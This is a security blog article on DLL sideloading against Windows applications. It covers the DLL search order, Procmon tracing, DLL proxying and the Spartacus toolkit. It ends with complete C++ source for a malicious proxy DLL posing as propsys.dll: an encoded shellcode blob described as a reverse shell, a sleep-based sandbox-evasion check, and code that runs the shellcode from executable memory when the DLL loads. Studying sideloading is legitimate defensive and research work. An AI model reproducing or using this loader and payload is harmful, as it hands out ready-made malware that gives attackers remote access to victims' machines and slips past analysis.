DLL Sideloading

This article examines DLL sideloading as a method for achieving Remote Code Execution (RCE) by abusing how legitimate applications locate and load dynamic link libraries. The topics covered include the technical principles of DLL hijacking, and some available tools to aid in the discovery of vulnerable DLLs. In the sections that follow, this article demonstrates the complete kill chain required to exploit a signed Microsoft binary, resulting in RCE.

understanding the dll search order

When a process attempts to load a dynamic-link library (DLL) in the Windows operating system, the system follows a specific search order to locate the required file. This order is designed to balance application compatibility, system security, and performance. Initially, Windows inspects the directory from which the application executable was loaded. This is the most common location for application-specific DLLs, as it allows developers to bundle the necessary libraries alongside the application binary to ensure version consistency. However, if the DDL is not located in the specified directory, Windows has a triaged list of directories that are searched.

Taken from Microsoft, here is the standard search order for DLLs:

DLL redirection.

  1. API sets.

  2. Desktop apps only (not UWP apps). SxS manifest redirection.

  3. Loaded-module list.

  4. Known DLLs.

  5. The package dependency graph of the process. This is the application's package plus any dependencies specified as <PackageDependency> in the <Dependencies> section of the application's package manifest. Dependencies are searched in the order they appear in the manifest.

  6. The folder the calling process was loaded from (the executable's folder).

  7. The system folder (%SystemRoot%\system32).

It is important to note that this default behavior can be modified through various means, such as by calling the SetDllDirectory or AddDllDirectory APIs. Alternatively, enabling application manifests can modify default behavior by altering the search path for specific DLLs. This article does not explore these corner cases.

ANALYZING DLL SIDELOADING USING PROCESS MONITOR (PROCMON)

Procmon provides a rigorous forensic capability by recording all file-access and module-load attempts performed by a target process. In addition, it provides filtering capabilities, which aid in mapping the DLL search order when running executables. This filtering capability provides surgical precision to narrow down operations such as CreateFile or Load Image, and subsequently correlate status codes.

 
 

The trace below captures Calculator (calc.exe) probing multiple DLLs in its UWP package directory under C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe. Each operation is a CreateFile attempt, and the Result field consistently reports NAME NOT FOUND, indicating that these specific DLLs do not exist within the Calculator package at the time of execution. The queried DLLs include mrt100_app.dll, among others, which are commonly associated with Microsoft’s runtime libraries and UWP dependencies.

The repeated NAME NOT FOUND entries demonstrate the standard DLL search behavior: the process probes its package directory first, attempting to locate packaged or app-local versions of required runtime components. Failure to locate these DLLs is expected, and the system subsequently resolves the dependencies from the DLL search order listed above. Importantly, the trace shows no evidence of unexpected or anomalous paths being probed, suggesting no immediate indication of DLL hijacking or sideloading attempts.

From a research perspective, this Procmon capture illustrates how instrumentation of DLL load attempts can document an application’s dependency resolution sequence, including both successful and unsuccessful probes. Such traces are essential for analyzing potential DLL sideloading vulnerabilities, as they reveal which locations an attacker might exploit if a writable directory were probed and how the application defaults to system libraries in the absence of package-local DLLs.

HANDling dll proxying + PERSISTENCE

DLL Proxying is a technique in which the functions and DLLs used by a targeted application are intercepted and forwarded to the original, legitimate DLL. This ensures that the application’s expected functionality remains intact while allowing the execution of additional code. A visualization of this process is shown below:

The overall objective of proxying the DLLs is to reduce the likelihood of the program crashing. Executing a payload directly from DllMain can still result in application timeouts, due to LoaderLock. There are a variety of methods to avoid the LoaderLock issue, such as remote process injection or remote thread creation. Through this approach, the custom DLL exports all functions required by the application, significantly reducing the likelihood of program crashes. When the DLL is loaded, the malicious payload executes alongside the legitimate exported functions.

leveraging spartacus for dll proxying

Spartacus is an open-source toolkit designed to discover and assist in exploiting DLL sideloading vulnerabilities. The tool generates Procmon configuration files, and parses PML logs to extract NAME_NOT_FOUND/PATH_NOT_FOUND results. The exported CSV report lists candidate missing DLLs or COM keys. In addition, it can also automatically generate Visual Studio proxy-DLL projects that export the relevant functions to simplify weaponization and testing. The clip below demonstrates Spartacus in action, as it captures the candidate DLLs to hijack and automatically generates the solution file in VisualStudio.

After identifying candidate missing libraries from Procmon traces, Spartacus automates project scaffolding by extracting the export table of the targeted DLLs. It subsequently generates the VisualStudio proxy-DLL project with stub source files, export definitions and the .sln solution file that mirrors the original DLL’s exports. The tool also produces a filtered Procmon configuration, which captures a PML log to enumerate NAME_NOT_FOUND/PATH_NOT_FOUND results. Spartacus then compiles the project metadata required for the proxy DLL. VisualStudio then handles the solution file to compile the malicious DLL.

Payload generation for inclusion in a Spartacus-generated proxy DLL requires producing a position-independent binary blob that matches the target process’s architecture. Tools such as msfvenom offer configurable payload types, architectures, encoders, and output formats to produce such artifacts at a high level without prescribing operational commands. The final code below integrates a basic reverse shell into the proxy DLL.

#include "windows.h"
#include "ios"
#include "fstream"

#define EXPECTED_DELAY_MS 5000      // 5 seconds
#define THRESHOLD_MS      4000      // Acceptable lower bound

unsigned char buf[] =
"\xeb\x27\x5b\x53\x5f\xb0\x7c\xfc\xae\x75\xfd\x57\x59\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\xa4\x0b\x74\x07"
"\x80\x3e\x7c\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff\xff\x0f\x0e\x1c\x22\x7c\xe4\x29\x47\x71\x50\xbe\x8f\xde\xa1\x7b\xe1\x75\x56"
"\x5d\x42\xa8\x09\x3e\x1b\x6a\xf0\xc9\x54\xdd\xc9\x68\x9d\x1d\x1c\x1c\x68\x25\x8f\x30\x8f\x57\xe5\xe5\xfa\xdd\xee\xe6\xc8\xdd\xf0"
"\xf1\x3e\x2d\x01\x12\x8f\xeb\x27\x5b\x53\x5f\xb0\x44\xfc\xae\x75\xfd\x57\x59\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66"
"\x81\x3f\xea\xec\x74\x07\x80\x3e\x44\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff\xff\x1c\x0c\x0f\x0e\x44\xf7\x2b\x54\x5d\x43\xbc\x4c"
"\xf2\xb2\x79\xf2\x59\x45\x5f\x51\x84\x1a\x3c\x08\x46\xe3\xcb\x47\xf1\xda\x6a\x8e\x31\x8e\xe8\x7b\x09\x9c\x32\x4c\x7b\xf6\xe7\xe9"
"\xf1\xfd\xe4\xdb\xf1\xe3\xf3\x01\x12\x10\x3b\x4c\xeb\x27\x5b\x6b\x5f\xb0\x67\xc4\xae\x75\xfd\x6f\x59\x53\x5e\xb2\x06\x30\x07\x70"
"\xff\xc7\x48\xc7\xc6\x66\x81\x07\xda\x13\x74\x3f\x80\x3e\x67\x4d\xea\xeb\xe6\xc7\xe1\xe8\xd4\xc7\xff\xff\x04\x36\x1c\x22\x67\xd7"
"\x29\x47\x71\x63\xbe\x5c\xde\x92\x7b\xe1\x75\x65\x5d\x42\xa8\x3a\x3e\x1b\x6a\xc3\xc9\x54\xdd\xfa\x68\x9d\x1d\xb0\x75\x68\x25\xbc"
"\x30\x5c\x57\xd6\xe5\xfa\xdd\xdd\xe6\xc8\xdd\xc3\xf1\x09\x3b\x3e\x4e\xe2\x1c\x65\x48\x5a\x90\x11\xeb\xb0\x42\xd8\x5b\x50\x68\x60"
"\x91\x03\x10\x2e\x5f\xe1\xf0\x6d\xf3\xcf\x5d\xbf\x24\x3b\x97\x5d\x10\x9e\x09\x1d\x79\xe3\xd0\xd8\xe4\xe4\xc8\xfd\xe8\xe1\xc8\x27"
"\x19\x10\x03\xd7\x29\x47\x71\x63\xbe\x9c\xde\x92\x7b\xe1\x75\x65\x5d\x42\xa8\x3a\x3e\x1b\x6a\xc3\xc9\x54\xdd\xfa\x68\x9d\x1d\x6d"
"\x5e\x68\x25\xbc\x30\x9c\x57\xd6\xe5\xfa\xdd\xdd\xe6\xc8\xdd\xc3\xf1\x05\x20\x29\x8e\xee\x07\x72\x44\x41\x87\xdf\xf0\xa7\x4e\xc3"
"\x4c\x5c\x73\x77\x9d\x18\x07\x22\x44\xf6\xfc\x76\xe4\xc3\x46\xa8\x28\x75\xbf\x51\x0b\x89\x05\xc4\x6e\xef\xcb\xcf\xe8\xff\xdf\xf1"
"\xf3\xf6\xc4\x2b\x02\x07\xda\xd7\x29\x47\x71\x63\xbe\x17\xde\x92\x7b\xe1\x75\x65\x5d\x42\xa8\x3a\x3e\x1b\x6a\xc3\xc9\x54\xdd\xfa"
"\x68\x9d\x1d\xb3\x4f\x68\x25\xbc\x30\x17\x57\xd6\xe5\xfa\xdd\xdd\xe6\xc8\xdd\xc3\xf1\x1e\x37\x25\x05\xf5\x10\x7e\x5f\x56\x8b\x2d"
"\xe7\xab\x55\xd4\x40\x47\x64\x7b\x86\x0f\x0b\x39\x53\xfa\xe7\x61\xe8\xd8\x51\xa4\x33\xab\xd4\x4a\x1c\x85\x1e\x3a\x62\xf4\xdc\xc3"
"\xf3\xe8\xd3\xea\xe4\xfa\xdf\x30\x15\x0b\x24\xd7\x29\x47\x71\x63\xbe\x06\xde\x92\x7b\xe1\x75\x65\x5d\x42\xa8\x3a\x3e\x1b\x6a\xc3"
"\xc9\x54\xdd\xfa\x68\x9d\x1d\xf0\x57\x68\x25\xbc\x30\x06\x57\xd6\xe5\xfa\xdd\xdd\xe6\xc8\xdd\xc3\xf1\x3d\x26\x26\xc4\x3f\x58\x6b"
"\x70\xa8\x3b\xc4\x81\x6d\xfe\x6f\x76\x4b\x5d\xb2\x29\x28\x04\x70\xd0\xdf\x4b\xc7\xe9\x7e\x82\x07\x2a\xa2\x77\x3f\xaf\x26\x3b\x4d"
"\xc5\xf3\xe5\xc7\xce\xf0\xd7\xc7\xd0\xe7\x07\x37\x17\xf7\x2b\x67\x73\x43\xbc\xc9\xdc\xb2\x79\xc1\x77\x45\x5f\x62\xaa\x1a\x3c\x3b"
"\x68\xe3\xcb\x74\xdf\xda\x6a\xbd\x1f\x81\x77\x48\x27\x9c\x32\xc9\x55\xf6\xe7\xda\xdf\xfd\xe4\xe8\xdf\xe3\xf3\x33\x24\xe9\xe8\x1f"
"\x74\x4b\x5c\x88\xc0\xe4\xad\x4d\xd2\x4f\x5a\x6b\x71\x92\x05\x08\x28\x50\xfc\xff\x67\xe7\xc5\x5e\xae\x27\xb9\x95\x5b\x1f\x83\x06"
"\xc0\x6d\xe9\xd3\xc9\xe7\xe2\xd0\xfb\xe7\xfc\xc7\x2b\x17\xec\xd7\x07\x47\x5f\x63\x90\xf1\xf0\x92\x55\xe1\x5b\x65\x73\x42\x86\x3a"
"\x10\x1b\x44\xc3\xe7\x54\xf3\xfa\x46\x9d\x33\x27\x09\x68\x0b\xbc\x1e\xf1\x79\xd6\xcb\xfa\xf3\xdd\xc8\xc8\xf3\xc3\xdf\x13\x08\xd1"
"\xc4\x3f\x58\x6b\x70\xa8\x5c\xc4\x81\x6d\xfe\x6f\x76\x4b\x5d\xb2\x29\x28\x04\x70\xd0\xdf\x4b\xc7\xe9\x7e\x82\x07\x2c\x60\x77\x3f"
"\xaf\x26\x5c\x4d\xc5\xf3\xe5\xc7\xce\xf0\xd7\xc7\xd0\xe7\x07\x19\x70\xf7\x05\x67\x5d\x43\x92\x22\xf2\xb2\x57\xc1\x59\x45\x71\x62"
"\x84\x1a\x12\x3b\x46\xe3\xe5\x74\xf1\xda\x44\xbd\x31\x34\x5d\x48\x09\x9c\x1c\x22\x7b\xf6\xc9\xda\xf1\xfd\xca\xe8\xf1\xe3\xdd\x1d"
"\x10\xd6\x24\x46\x7c\x62\xb3\x13\xd3\x93\x76\xe0\x78\x64\x50\x43\xa5\x3b\x33\x1a\x67\xc2\xc4\x55\xd0\xfb\x65\x9c\x10\x0e\xd8\x69"
"\x28\xbd\x3d\x13\x5a\xd7\xe8\xfb\xd0\xdc\xeb\xc9\xd0\xc2\xfc\x12\x21\xd9\x2b\x49\x73\x6d\xbc\x90\xdc\x9c\x79\xef\x77\x6b\x5f\x4c"
"\xaa\x34\x3c\x15\x68\xcd\xcb\x5a\xdf\xf4\x6a\x93\x1f\xd7\xde\x66\x27\xb2\x32\x90\x55\xd8\xe7\xf4\xdf\xd3\xe4\xc6\xdf\xcd\xf3\x06"
"\xa2\xda\x50\x85\xd0\xd6\xf0\xc6\x34\x26\x18\x47\x65\x67\x48\x54\x65\x70\x50\x37\xe6\x43\x50\x8d\x66\x46\x50\x8d\x66\x3e\x50\x8d"
"\x66\x06\x50\x8d\x46\x76\x50\x09\x83\x6c\x52\x4b\x05\xef\x50\x37\xf4\x8a\x24\x67\x48\x24\x34\x26\x75\xe7\xd1\x0b\x75\x27\xd9\xe4"
"\xd9\x74\x59\x57\x7c\xad\x4a\x26\xbf\x64\x24\x4e\x35\xf6\x93\x86\xbc\x26\x18\x06\x7c\xa3\xd8\x72\x53\x6e\x19\xd6\x64\xad\x50\x1e"
"\x70\xad\x58\x26\x7d\x27\xc8\xe5\x62\x6e\xe7\xcf\x75\xad\x2c\x8e\x7c\x27\xce\x4b\x05\xef\x50\x37\xf4\x8a\x59\xc7\xfd\x2b\x59\x07"
"\xf5\x1e\xf8\x73\xc5\x6a\x1b\x4a\x10\x2e\x5d\x3f\xe5\x53\xc0\x5e\x70\xad\x58\x22\x7d\x27\xc8\x60\x75\xad\x14\x4e\x70\xad\x58\x1a"
"\x7d\x27\xc8\x47\xbf\x22\x90\x4e\x35\xf6\x59\x5e\x75\x7e\x46\x5f\x6e\x67\x40\x47\x6d\x67\x42\x4e\xb7\xca\x38\x47\x66\xd9\xf8\x5e"
"\x75\x7f\x42\x4e\xbf\x34\xf1\x51\xcb\xd9\xe7\x5b\x7d\x98\x6f\x75\x06\x79\x2b\x34\x34\x26\x59\x50\x7d\xaf\xfe\x4e\xb5\xca\xb8\x07"
"\x34\x26\x51\x8f\xd1\x6f\xa4\x04\x34\x27\xa3\xc6\x9c\x0e\x98\x47\x60\x6f\x91\xe2\x78\xaf\xe9\x47\x8e\x6a\x6f\x20\x33\xd9\xcd\x4a"
"\xbd\xcc\x70\x07\x35\x26\x18\x5f\x75\x9c\x31\x86\x5f\x26\xe7\xd3\x64\x76\x55\x37\xfd\x6b\x29\xc6\x7c\xd9\xd8\x4e\xbd\xe4\x50\xf9"
"\xf4\x6e\x91\xc7\x75\x9c\xf2\x09\xeb\xc6\xe7\xd3\x7c\xaf\xdf\x6c\x24\x67\x40\x4a\xbd\xc4\x50\x8f\xcd\x67\xa2\x9f\x91\x52\x79\xf9"
"\xe1\x6e\x99\xc2\x74\x24\x18\x06\x7d\x9e\x7b\x6b\x50\x26\x18\x06\x34\x26\x59\x56\x75\x76\x50\x8f\xd6\x71\x4f\x51\x79\x17\xd8\x6c"
"\x39\x7f\x59\x56\xd6\xda\x7e\xc1\x70\x02\x4c\x07\x35\x6e\x95\x42\x10\x3e\xde\x06\x5c\x6e\x91\xe0\x62\x76\x59\x56\x75\x76\x59\x56"
"\x7d\xd9\xd8\x47\x64\x6f\xe7\xce\x79\xaf\xd9\x4a\xbd\xe7\x59\xbc\x4d\xea\x27\x80\xcb\xf3\x50\x37\xe6\x6e\xe7\xcc\xbf\x28\x59\xbc"
"\x3c\xa1\x05\x66\xcb\xf3\xa3\xf6\x81\x84\x4e\x47\x8e\x80\x8d\xbb\xa9\xd9\xcd\x4e\xb7\xe2\x30\x3a\x32\x5a\x12\x86\xcf\xc6\x6d\x03"
"\x8f\x61\x0b\x74\x5b\x4c\x18\x5f\x75\xaf\xc2\xf9\xe1\xd7\xde\x2e\xf4\x34\x5d\x3b\x57\x07\x25\x82\x82\x81\x77\x3d\x95\xd0\x7b\x9c"
"\xf4\x93\x63\x42\x9f\x4d\x72\x1b\xbb\x90\x59\xe2\x13\x8e\xe8\xea\xec\x0f\x30\xa4\x0b";



// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\propsys.dll");

// Remove this function if you aren't proxying any functions.
VOID DebugToFile(LPCSTR szInput)
{
    std::ofstream log("spartacus-proxy-propsys.log", std::ios_base::app | std::ios_base::out);
    log << szInput;
    log << "\n";
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {

        DWORD start = GetTickCount();
        Sleep(EXPECTED_DELAY_MS);
        DWORD elapsed = GetTickCount() - start;

        // If elapsed time is too short, likely running in emulated/sandboxed env
        if (elapsed < THRESHOLD_MS) {
            ExitProcess(0);  // Exit silently
        }

        void* exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (exec == NULL) return FALSE;

        memcpy(exec, buf, sizeof(buf));

        ((void(*)())exec)();  // Call the shellcode
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
Next
Next

Early Bird APC Injection